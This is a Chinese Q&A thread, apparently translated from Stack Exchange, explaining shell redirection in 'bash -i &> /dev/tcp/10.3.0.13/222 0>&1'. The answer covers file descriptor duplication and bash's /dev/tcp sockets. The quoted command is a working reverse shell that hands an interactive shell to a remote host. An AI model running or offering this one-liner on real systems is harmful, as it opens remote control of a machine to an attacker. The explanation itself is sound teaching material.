0>&1 shell 重定向是什么意思?

Gab*_*our 6 shell

试图理解命令:

bash -i &> /dev/tcp/10.3.0.13/222 0>&1
Run Code Online (Sandbox Code Playgroud)

这意味着“bash -i”的标准输入将获得标准输出内容?

Sté*_*las 9

&> file本身与 相同> file 2>&1,即file在文件描述符 1 上以只写模式打开,并将该文件描述符 1 复制到文件描述符 2,以便 fd 1 和 2(stdout 和 stderr)都指向该打开的文件描述符

0>&1(与0<&1or相同<&1)将 0 (stdin) 添加到列表中。它也将 fd 1 复制到 0(使 fd 0 指向与 fd 1 指向的资源相同的资源)。

现在,在执行> /dev/tcp/host/portin 时bash(例如在功能来自的 ksh 中),不是执行 a open(file, O_WRONLY),而是bash创建一个 TCP 套接字并将其连接到host:port. 这不是只写重定向,而是读+写网络套接字。

所以你最终bash -i得到了作为 TCP 套接字的fds 0、1 和 2 。当bash -i读取其 stdin 时,它从套接字读取,因此从位于另一端的任何内容读取host:post,当它(或从那里运行的任何命令)写入 fd 1 或 2 时,它会通过该套接字发送。

  • @GabrielOrtizLour, `0&gt;&amp;1` 执行 `dup2(1, 0)`,无论模式 fd 1 以何种方式打开,但如果它以只写模式打开,则意味着 fd 0 最终会被写入-only,读取它会失败,并且一般的应用程序和 bash -i 在这里特别想从 fd 0(他们的标准输入)读取,而不是写入它。 (4认同)
  • 请注意,写“0&lt;&amp;1”也可以,并且不会让读者感到困惑。我认为在这种情况下这在语义上会更正确。 (2认同)